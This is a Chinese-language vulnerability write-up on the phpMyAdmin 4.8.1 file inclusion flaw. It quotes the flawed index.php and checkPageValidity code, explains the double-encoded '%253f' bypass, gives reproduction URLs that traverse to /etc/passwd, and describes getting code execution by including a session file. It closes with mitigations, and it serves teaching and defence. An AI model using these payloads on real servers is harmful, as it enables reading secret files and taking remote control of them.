一、漏洞背景
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具,它能够帮助用户通过Web界面进行数据库的创建、删除、修改以及执行SQL脚本命令等操作。然而,在phpMyAdmin 4.8.1版本中,存在一个远程文件包含漏洞,使得攻击者能够利用该漏洞包含并执行服务器上的任意文件。
二、漏洞原理
-
文件包含逻辑:
-
phpMyAdmin的index.php中存在一处文件包含逻辑,通常用于加载不同的脚本或页面。
-
在正常情况下,该逻辑会对传入的参数进行严格的检查,以防止恶意文件的包含
-
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
-
二次编码绕过检查:
-
攻击者通过二次编码的方式,将恶意参数绕过检查。
-
具体来说,攻击者会对目标文件路径中的特定字符(如问号“?”)通过urldecode()函数进行二次编码(如“%253f”),从而使其绕过phpMyAdmin的检查逻辑。
-
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
三、复现过程
pyload:http://localhost:8080/?target=db_sql.php%253f/../../../../../../../../etc/passwd
利用方式
1.执行语句SELECT '<?=phpinfo()?>';
,然后查看自己的sessionid,然后包含session文件即可:
2.将语句直接写入表中: ps 这里没有成功可能时文件路径没找对。
http://localhost:8080/?target=db_sql.php%253f/../../../../../../../../lib/mysql/test/test.frm
四、漏洞影响
该漏洞允许攻击者包含并执行服务器上的任意文件,这可能导致严重的安全问题,包括:
-
读取敏感文件:攻击者可以包含并读取服务器上的敏感文件,如配置文件、密码文件等。
-
写入恶意文件:攻击者可以将恶意代码写入服务器上的文件,从而实现对服务器的远程控制。
-
执行任意命令:在某些情况下,攻击者甚至可以执行任意命令,进一步危害服务器的安全。
五、防御措施
为了防止该漏洞的利用,可以采取以下防御措施:
-
升级phpMyAdmin版本:及时升级到不受该漏洞影响的phpMyAdmin版本。
-
严格检查用户输入:对用户输入进行严格的检查,防止恶意参数的传入。
-
使用白名单或可包含目录:限制文件包含的范围,只允许包含白名单中的文件或特定目录下的文件。
-
关闭allow_url_include选项:在php.ini配置文件中关闭allow_url_include选项,以防止通过URL动态包含文件。